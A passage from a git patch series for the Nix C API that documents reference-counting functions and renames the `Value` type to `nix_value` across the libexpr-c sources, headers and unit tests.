nix_value_incref(nix_c_context * context, nix_value * value); + +/** + * @brief Decrement the garbage collector reference counter for the given object + * + * @param[out] context Optional, stores error information + * @param[in] value The object to stop referencing + */ +nix_err nix_value_decref(nix_c_context * context, nix_value * value); + /** @addtogroup value_manip Manipulating values * @brief Functions to inspect and change Nix language values, represented by Value. * @{ From 5d8118d9cb6a2c349fd96bee5a9bdd1c4b65fae9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 13 Jun 2024 18:23:21 +0200 Subject: [PATCH 0822/1251] C API: Docs --- src/libexpr-c/nix_api_expr.h | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index ce00246c6..783176bfa 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -29,12 +29,20 @@ extern "C" { * @see nix_state_create */ typedef struct EvalState EvalState; // nix::EvalState -/** - * @brief Represents a value in the Nix language. + +/** @brief A Nix language value, or thunk that may evaluate to a value. + * + * Values are the primary objects manipulated in the Nix language. + * They are considered to be immutable from a user's perspective, but the process of evaluating a Value changes its + * ValueType if it was a thunk. After a Value has been evaluated, its ValueType does not change. + * + * Evaluation in this context refers to the process of evaluating a single Value object, also called "forcing" the + * Value; see `nix_value_force`. + * + * The evaluator manages its own memory, but your use of the C API must follow the reference counting rules. * - * Owned by the garbage collector. - * @struct Value * @see value_manip + * @see nix_value_incref, nix_value_decref */ typedef struct nix_value nix_value; [[deprecated("use nix_value instead")]] typedef nix_value Value; @@ -128,7 +136,7 @@ nix_err nix_value_call_multi( * The Nix interpreter is lazy, and not-yet-evaluated Values can be * of type NIX_TYPE_THUNK instead of their actual value. * - * This function converts these Values into their final type. + * This function mutates such a Value, so that, if successful, it has its final type. * * @note This function is mainly needed before calling @ref getters, but not for API calls that return a `Value`. * From b94e1d62182114ab5198fd58869a9af29d54cff5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 13 Jun 2024 18:51:58 +0200 Subject: [PATCH 0823/1251] C API: Value -> nix_value See issue https://github.com/NixOS/nix/issues/10434 --- src/libexpr-c/nix_api_expr.cc | 26 +++--- src/libexpr-c/nix_api_expr.h | 26 +++--- src/libexpr-c/nix_api_value.cc | 93 ++++++++++--------- src/libexpr-c/nix_api_value.h | 71 +++++++------- .../libexpr-support/tests/nix_api_expr.hh | 2 +- tests/unit/libexpr/nix_api_expr.cc | 62 +++++++------ tests/unit/libexpr/nix_api_external.cc | 4 +- tests/unit/libexpr/nix_api_value.cc | 32 +++---- 8 files changed, 161 insertions(+), 155 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index 28b8922ce..bdf7a1e63 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -42,56 +42,56 @@ nix_err nix_libexpr_init(nix_c_context * context) } nix_err nix_expr_eval_from_string( - nix_c_context * context, EvalState * state, const char * expr, const char * path, Value * value) + nix_c_context * context, EvalState * state, const char * expr, const char * path, nix_value * value) { if (context) context->last_err_code = NIX_OK; try { nix::Expr * parsedExpr = state->state.parseExprFromString(expr, state->state.rootPath(nix::CanonPath(path))); - state->state.eval(parsedExpr, *(nix::Value *) value); - state->state.forceValue(*(nix::Value *) value, nix::noPos); + state->state.eval(parsedExpr, value->value); + state->state.forceValue(value->value, nix::noPos); } NIXC_CATCH_ERRS } -nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value) +nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, nix_value * arg, nix_value * value) { if (context) context->last_err_code = NIX_OK; try { - state->state.callFunction(*(nix::Value *) fn, *(nix::Value *) arg, *(nix::Value *) value, nix::noPos); - state->state.forceValue(*(nix::Value *) value, nix::noPos); + state->state.callFunction(fn->value, arg->value, value->value, nix::noPos); + state->state.forceValue(value->value, nix::noPos); } NIXC_CATCH_ERRS } -nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value) +nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value) { if (context) context->last_err_code = NIX_OK; try { - state->state.callFunction(*(nix::Value *) fn, nargs, (nix::Value * *)args, *(nix::Value *) value, nix::noPos); - state->state.forceValue(*(nix::Value *) value, nix::noPos); + state->state.callFunction(fn->value, nargs, (nix::Value * *)args, value->value, nix::noPos); + state->state.forceValue(value->value, nix::noPos); } NIXC_CATCH_ERRS } -nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value) +nix_err nix_value_force(nix_c_context * context, EvalState * state, nix_value * value) { if (context) context->last_err_code = NIX_OK; try { - state->state.forceValue(*(nix::Value *) value, nix::noPos); + state->state.forceValue(value->value, nix::noPos); } NIXC_CATCH_ERRS } -nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * value) +nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, nix_value * value) { if (context) context->last_err_code = NIX_OK; try { - state->state.forceValueDeep(*(nix::Value *) value); + state->state.forceValueDeep(value->value); } NIXC_CATCH_ERRS } diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 783176bfa..adf8b65b1 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -33,11 +33,11 @@ typedef struct EvalState EvalState; // nix::EvalState /** @brief A Nix language value, or thunk that may evaluate to a value. * * Values are the primary objects manipulated in the Nix language. - * They are considered to be immutable from a user's perspective, but the process of evaluating a Value changes its - * ValueType if it was a thunk. After a Value has been evaluated, its ValueType does not change. + * They are considered to be immutable from a user's perspective, but the process of evaluating a value changes its + * ValueType if it was a thunk. After a value has been evaluated, its ValueType does not change. * - * Evaluation in this context refers to the process of evaluating a single Value object, also called "forcing" the - * Value; see `nix_value_force`. + * Evaluation in this context refers to the process of evaluating a single value object, also called "forcing" the + * value; see `nix_value_force`. * * The evaluator manages its own memory, but your use of the C API must follow the reference counting rules. * @@ -74,7 +74,7 @@ nix_err nix_libexpr_init(nix_c_context * context); * @return NIX_OK if the evaluation was successful, an error code otherwise. */ nix_err nix_expr_eval_from_string( - nix_c_context * context, EvalState * state, const char * expr, const char * path, Value * value); + nix_c_context * context, EvalState * state, const char * expr, const char * path, nix_value * value); /** * @brief Calls a Nix function with an argument. @@ -88,7 +88,7 @@ nix_err nix_expr_eval_from_string( * @see nix_init_apply() for a similar function that does not performs the call immediately, but stores it as a thunk. * Note the different argument order. */ -nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value); +nix_err nix_value_call(nix_c_context * context, EvalState * state, nix_value * fn, nix_value * arg, nix_value * value); /** * @brief Calls a Nix function with multiple arguments. @@ -107,7 +107,7 @@ nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, V * @see NIX_VALUE_CALL For a macro that wraps this function for convenience. */ nix_err nix_value_call_multi( - nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value); + nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value); /** * @brief Calls a Nix function with multiple arguments. @@ -125,7 +125,7 @@ nix_err nix_value_call_multi( */ #define NIX_VALUE_CALL(context, state, value, fn, ...) \ do { \ - Value * args_array[] = {__VA_ARGS__}; \ + nix_value * args_array[] = {__VA_ARGS__}; \ size_t nargs = sizeof(args_array) / sizeof(args_array[0]); \ nix_value_call_multi(context, state, fn, nargs, args_array, value); \ } while (0) @@ -133,12 +133,10 @@ nix_err nix_value_call_multi( /** * @brief Forces the evaluation of a Nix value. * - * The Nix interpreter is lazy, and not-yet-evaluated Values can be + * The Nix interpreter is lazy, and not-yet-evaluated values can be * of type NIX_TYPE_THUNK instead of their actual value. * - * This function mutates such a Value, so that, if successful, it has its final type. - * - * @note This function is mainly needed before calling @ref getters, but not for API calls that return a `Value`. + * This function mutates such a `nix_value`, so that, if successful, it has its final type. * * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. @@ -147,7 +145,7 @@ nix_err nix_value_call_multi( * @return NIX_OK if the force operation was successful, an error code * otherwise. */ -nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value); +nix_err nix_value_force(nix_c_context * context, EvalState * state, nix_value * value); /** * @brief Forces the deep evaluation of a Nix value. @@ -163,7 +161,7 @@ nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * valu * @return NIX_OK if the deep force operation was successful, an error code * otherwise. */ -nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * value); +nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, nix_value * value); /** * @brief Create a new Nix language evaluator state. diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index dd8382133..2f2f99617 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -21,45 +21,45 @@ #endif // Internal helper functions to check [in] and [out] `Value *` parameters -static const nix::Value & check_value_not_null(const Value * value) +static const nix::Value & check_value_not_null(const nix_value * value) { if (!value) { - throw std::runtime_error("Value is null"); + throw std::runtime_error("nix_value is null"); } return *((const nix::Value *) value); } -static nix::Value & check_value_not_null(Value * value) +static nix::Value & check_value_not_null(nix_value * value) { if (!value) { - throw std::runtime_error("Value is null"); + throw std::runtime_error("nix_value is null"); } - return *((nix::Value *) value); + return value->value; } -static const nix::Value & check_value_in(const Value * value) +static const nix::Value & check_value_in(const nix_value * value) { auto & v = check_value_not_null(value); if (!v.isValid()) { - throw std::runtime_error("Uninitialized Value"); + throw std::runtime_error("Uninitialized nix_value"); } return v; } -static nix::Value & check_value_in(Value * value) +static nix::Value & check_value_in(nix_value * value) { auto & v = check_value_not_null(value); if (!v.isValid()) { - throw std::runtime_error("Uninitialized Value"); + throw std::runtime_error("Uninitialized nix_value"); } return v; } -static nix::Value & check_value_out(Value * value) +static nix::Value & check_value_out(nix_value * value) { auto & v = check_value_not_null(value); if (v.isValid()) { - throw std::runtime_error("Value already initialized. Variables are immutable"); + throw std::runtime_error("nix_value already initialized. Variables are immutable"); } return v; } @@ -92,7 +92,7 @@ static void nix_c_primop_wrapper( // or maybe something to make blackholes work better; we don't know). nix::Value vTmp; - f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &vTmp); + f(userdata, &ctx, (EvalState *) &state, (nix_value **) args, (nix_value *) &vTmp); if (ctx.last_err_code != NIX_OK) { /* TODO: Throw different errors depending on the error code */ @@ -159,7 +159,7 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp) NIXC_CATCH_ERRS } -Value * nix_alloc_value(nix_c_context * context, EvalState * state) +nix_value * nix_alloc_value(nix_c_context * context, EvalState * state) { if (context) context->last_err_code = NIX_OK; @@ -171,7 +171,7 @@ Value * nix_alloc_value(nix_c_context * context, EvalState * state) NIXC_CATCH_ERRS_NULL } -ValueType nix_get_type(nix_c_context * context, const Value * value) +ValueType nix_get_type(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -207,7 +207,7 @@ ValueType nix_get_type(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_RES(NIX_TYPE_NULL); } -const char * nix_get_typename(nix_c_context * context, const Value * value) +const char * nix_get_typename(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -219,7 +219,7 @@ const char * nix_get_typename(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_NULL } -bool nix_get_bool(nix_c_context * context, const Value * value) +bool nix_get_bool(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -231,7 +231,8 @@ bool nix_get_bool(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_RES(false); } -nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_string_callback callback, void * user_data) +nix_err +nix_get_string(nix_c_context * context, const nix_value * value, nix_get_string_callback callback, void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -243,7 +244,7 @@ nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_str NIXC_CATCH_ERRS } -const char * nix_get_path_string(nix_c_context * context, const Value * value) +const char * nix_get_path_string(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -262,7 +263,7 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_NULL } -unsigned int nix_get_list_size(nix_c_context * context, const Value * value) +unsigned int nix_get_list_size(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -274,7 +275,7 @@ unsigned int nix_get_list_size(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_RES(0); } -unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value) +unsigned int nix_get_attrs_size(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -286,7 +287,7 @@ unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_RES(0); } -double nix_get_float(nix_c_context * context, const Value * value) +double nix_get_float(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -298,7 +299,7 @@ double nix_get_float(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_RES(0.0); } -int64_t nix_get_int(nix_c_context * context, const Value * value) +int64_t nix_get_int(nix_c_context * context, const nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -310,7 +311,7 @@ int64_t nix_get_int(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_RES(0); } -ExternalValue * nix_get_external(nix_c_context * context, Value * value) +ExternalValue * nix_get_external(nix_c_context * context, nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -322,7 +323,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value * value) NIXC_CATCH_ERRS_NULL; } -Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int ix) +nix_value * nix_get_list_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int ix) { if (context) context->last_err_code = NIX_OK; @@ -333,12 +334,12 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta nix_gc_incref(nullptr, p); if (p != nullptr) state->state.forceValue(*p, nix::noPos); - return (Value *) p; + return as_nix_value_ptr(p); } NIXC_CATCH_ERRS_NULL } -Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name) +nix_value * nix_get_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name) { if (context) context->last_err_code = NIX_OK; @@ -358,7 +359,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt NIXC_CATCH_ERRS_NULL } -bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name) +bool nix_has_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name) { if (context) context->last_err_code = NIX_OK; @@ -374,8 +375,8 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState NIXC_CATCH_ERRS_RES(false); } -Value * -nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i, const char ** name) +nix_value * nix_get_attr_byidx( + nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i, const char ** name) { if (context) context->last_err_code = NIX_OK; @@ -390,7 +391,8 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta NIXC_CATCH_ERRS_NULL } -const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i) +const char * +nix_get_attr_name_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i) { if (context) context->last_err_code = NIX_OK; @@ -402,7 +404,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu NIXC_CATCH_ERRS_NULL } -nix_err nix_init_bool(nix_c_context * context, Value * value, bool b) +nix_err nix_init_bool(nix_c_context * context, nix_value * value, bool b) { if (context) context->last_err_code = NIX_OK; @@ -414,7 +416,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b) } // todo string context -nix_err nix_init_string(nix_c_context * context, Value * value, const char * str) +nix_err nix_init_string(nix_c_context * context, nix_value * value, const char * str) { if (context) context->last_err_code = NIX_OK; @@ -425,7 +427,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str NIXC_CATCH_ERRS } -nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * value, const char * str) +nix_err nix_init_path_string(nix_c_context * context, EvalState * s, nix_value * value, const char * str) { if (context) context->last_err_code = NIX_OK; @@ -436,7 +438,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val NIXC_CATCH_ERRS } -nix_err nix_init_float(nix_c_context * context, Value * value, double d) +nix_err nix_init_float(nix_c_context * context, nix_value * value, double d) { if (context) context->last_err_code = NIX_OK; @@ -447,7 +449,7 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d) NIXC_CATCH_ERRS } -nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i) +nix_err nix_init_int(nix_c_context * context, nix_value * value, int64_t i) { if (context) context->last_err_code = NIX_OK; @@ -458,7 +460,7 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i) NIXC_CATCH_ERRS } -nix_err nix_init_null(nix_c_context * context, Value * value) +nix_err nix_init_null(nix_c_context * context, nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -469,7 +471,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value) NIXC_CATCH_ERRS } -nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg) +nix_err nix_init_apply(nix_c_context * context, nix_value * value, nix_value * fn, nix_value * arg) { if (context) context->last_err_code = NIX_OK; @@ -482,7 +484,7 @@ nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value NIXC_CATCH_ERRS } -nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val) +nix_err nix_init_external(nix_c_context * context, nix_value * value, ExternalValue * val) { if (context) context->last_err_code = NIX_OK; @@ -509,7 +511,8 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, NIXC_CATCH_ERRS_NULL } -nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, Value * value) +nix_err +nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -529,7 +532,7 @@ void nix_list_builder_free(ListBuilder * list_builder) #endif } -nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value * value) +nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -540,7 +543,7 @@ nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value NIXC_CATCH_ERRS } -nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p) +nix_err nix_init_primop(nix_c_context * context, nix_value * value, PrimOp * p) { if (context) context->last_err_code = NIX_OK; @@ -551,7 +554,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p) NIXC_CATCH_ERRS } -nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source) +nix_err nix_copy_value(nix_c_context * context, nix_value * value, const nix_value * source) { if (context) context->last_err_code = NIX_OK; @@ -563,7 +566,7 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * sou NIXC_CATCH_ERRS } -nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * b) +nix_err nix_make_attrs(nix_c_context * context, nix_value * value, BindingsBuilder * b) { if (context) context->last_err_code = NIX_OK; @@ -589,7 +592,7 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * NIXC_CATCH_ERRS_NULL } -nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * bb, const char * name, Value * value) +nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * bb, const char * name, nix_value * value) { if (context) context->last_err_code = NIX_OK; @@ -610,7 +613,7 @@ void nix_bindings_builder_free(BindingsBuilder * bb) #endif } -nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, Value * value, bool isIFD) +nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, nix_value * value, bool isIFD) { if (context) context->last_err_code = NIX_OK; diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index 26044bd57..044f68c9e 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -93,7 +93,8 @@ typedef struct nix_realised_string nix_realised_string; * @param[out] ret return value * @see nix_alloc_primop, nix_init_primop */ -typedef void (*PrimOpFun)(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret); +typedef void (*PrimOpFun)( + void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret); /** @brief Allocate a PrimOp * @@ -145,7 +146,7 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp); * @return value, or null in case of errors * */ -Value * nix_alloc_value(nix_c_context * context, EvalState * state); +nix_value * nix_alloc_value(nix_c_context * context, EvalState * state); /** * @brief Increment the garbage collector reference counter for the given `nix_value`. @@ -167,7 +168,7 @@ nix_err nix_value_incref(nix_c_context * context, nix_value * value); nix_err nix_value_decref(nix_c_context * context, nix_value * value); /** @addtogroup value_manip Manipulating values - * @brief Functions to inspect and change Nix language values, represented by Value. + * @brief Functions to inspect and change Nix language values, represented by nix_value. * @{ */ /** @anchor getters @@ -179,7 +180,7 @@ nix_err nix_value_decref(nix_c_context * context, nix_value * value); * @param[in] value Nix value to inspect * @return type of nix value */ -ValueType nix_get_type(nix_c_context * context, const Value * value); +ValueType nix_get_type(nix_c_context * context, const nix_value * value); /** @brief Get type name of value as defined in the evaluator * @param[out] context Optional, stores error information @@ -187,14 +188,14 @@ ValueType nix_get_type(nix_c_context * context, const Value * value); * @return type name, owned string * @todo way to free the result */ -const char * nix_get_typename(nix_c_context * context, const Value * value); +const char * nix_get_typename(nix_c_context * context, const nix_value * value); /** @brief Get boolean value * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return true or false, error info via context */ -bool nix_get_bool(nix_c_context * context, const Value * value); +bool nix_get_bool(nix_c_context * context, const nix_value * value); /** @brief Get the raw string * @@ -208,7 +209,7 @@ bool nix_get_bool(nix_c_context * context, const Value * value); * @return error code, NIX_OK on success. */ nix_err -nix_get_string(nix_c_context * context, const Value * value, nix_get_string_callback callback, void * user_data); +nix_get_string(nix_c_context * context, const nix_value * value, nix_get_string_callback callback, void * user_data); /** @brief Get path as string * @param[out] context Optional, stores error information @@ -216,42 +217,42 @@ nix_get_string(nix_c_context * context, const Value * value, nix_get_string_call * @return string * @return NULL in case of error. */ -const char * nix_get_path_string(nix_c_context * context, const Value * value); +const char * nix_get_path_string(nix_c_context * context, const nix_value * value); /** @brief Get the length of a list * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return length of list, error info via context */ -unsigned int nix_get_list_size(nix_c_context * context, const Value * value); +unsigned int nix_get_list_size(nix_c_context * context, const nix_value * value); /** @brief Get the element count of an attrset * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return attrset element count, error info via context */ -unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value); +unsigned int nix_get_attrs_size(nix_c_context * context, const nix_value * value); /** @brief Get float value in 64 bits * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return float contents, error info via context */ -double nix_get_float(nix_c_context * context, const Value * value); +double nix_get_float(nix_c_context * context, const nix_value * value); /** @brief Get int value * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return int contents, error info via context */ -int64_t nix_get_int(nix_c_context * context, const Value * value); +int64_t nix_get_int(nix_c_context * context, const nix_value * value); /** @brief Get external reference * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return reference to external, NULL in case of error */ -ExternalValue * nix_get_external(nix_c_context * context, Value *); +ExternalValue * nix_get_external(nix_c_context * context, nix_value *); /** @brief Get the ix'th element of a list * @@ -262,7 +263,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value *); * @param[in] ix list element to get * @return value, NULL in case of errors */ -Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int ix); +nix_value * nix_get_list_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int ix); /** @brief Get an attr by name * @@ -273,7 +274,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta * @param[in] name attribute name * @return value, NULL in case of errors */ -Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name); +nix_value * nix_get_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name); /** @brief Check if an attribute name exists on a value * @param[out] context Optional, stores error information @@ -282,7 +283,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt * @param[in] name attribute name * @return value, error info via context */ -bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name); +bool nix_has_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name); /** @brief Get an attribute by index in the sorted bindings * @@ -296,8 +297,8 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState * @param[out] name will store a pointer to the attribute name * @return value, NULL in case of errors */ -Value * -nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i, const char ** name); +nix_value * nix_get_attr_byidx( + nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i, const char ** name); /** @brief Get an attribute name by index in the sorted bindings * @@ -310,7 +311,8 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta * @param[in] i attribute index * @return name, NULL in case of errors */ -const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i); +const char * +nix_get_attr_name_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i); /**@}*/ /** @name Initializers @@ -327,7 +329,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu * @param[in] b the boolean value * @return error code, NIX_OK on success. */ -nix_err nix_init_bool(nix_c_context * context, Value * value, bool b); +nix_err nix_init_bool(nix_c_context * context, nix_value * value, bool b); /** @brief Set a string * @param[out] context Optional, stores error information @@ -335,7 +337,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b); * @param[in] str the string, copied * @return error code, NIX_OK on success. */ -nix_err nix_init_string(nix_c_context * context, Value * value, const char * str); +nix_err nix_init_string(nix_c_context * context, nix_value * value, const char * str); /** @brief Set a path * @param[out] context Optional, stores error information @@ -343,7 +345,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str * @param[in] str the path string, copied * @return error code, NIX_OK on success. */ -nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * value, const char * str); +nix_err nix_init_path_string(nix_c_context * context, EvalState * s, nix_value * value, const char * str); /** @brief Set a float * @param[out] context Optional, stores error information @@ -351,7 +353,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val * @param[in] d the float, 64-bits * @return error code, NIX_OK on success. */ -nix_err nix_init_float(nix_c_context * context, Value * value, double d); +nix_err nix_init_float(nix_c_context * context, nix_value * value, double d); /** @brief Set an int * @param[out] context Optional, stores error information @@ -360,13 +362,13 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d); * @return error code, NIX_OK on success. */ -nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i); +nix_err nix_init_int(nix_c_context * context, nix_value * value, int64_t i); /** @brief Set null * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @return error code, NIX_OK on success. */ -nix_err nix_init_null(nix_c_context * context, Value * value); +nix_err nix_init_null(nix_c_context * context, nix_value * value); /** @brief Set the value to a thunk that will perform a function application when needed. * @@ -382,7 +384,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value); * @see nix_value_call() for a similar function that performs the call immediately and only stores the return value. * Note the different argument order. */ -nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg); +nix_err nix_init_apply(nix_c_context * context, nix_value * value, nix_value * fn, nix_value * arg); /** @brief Set an external value * @param[out] context Optional, stores error information @@ -390,7 +392,7 @@ nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * @param[in] val the external value to set. Will be GC-referenced by the value. * @return error code, NIX_OK on success. */ -nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val); +nix_err nix_init_external(nix_c_context * context, nix_value * value, ExternalValue * val); /** @brief Create a list from a list builder * @param[out] context Optional, stores error information @@ -398,7 +400,7 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * @param[out] value Nix value to modify * @return error code, NIX_OK on success. */ -nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value * value); +nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, nix_value * value); /** @brief Create a list builder * @param[out] context Optional, stores error information @@ -415,7 +417,8 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, * @param[in] value value to insert * @return error code, NIX_OK on success. */ -nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, Value * value); +nix_err +nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, nix_value * value); /** @brief Free a list builder * @@ -430,7 +433,7 @@ void nix_list_builder_free(ListBuilder * list_builder); * @param[in] b bindings builder to use. Make sure to unref this afterwards. * @return error code, NIX_OK on success. */ -nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * b); +nix_err nix_make_attrs(nix_c_context * context, nix_value * value, BindingsBuilder * b); /** @brief Set primop * @param[out] context Optional, stores error information @@ -439,14 +442,14 @@ 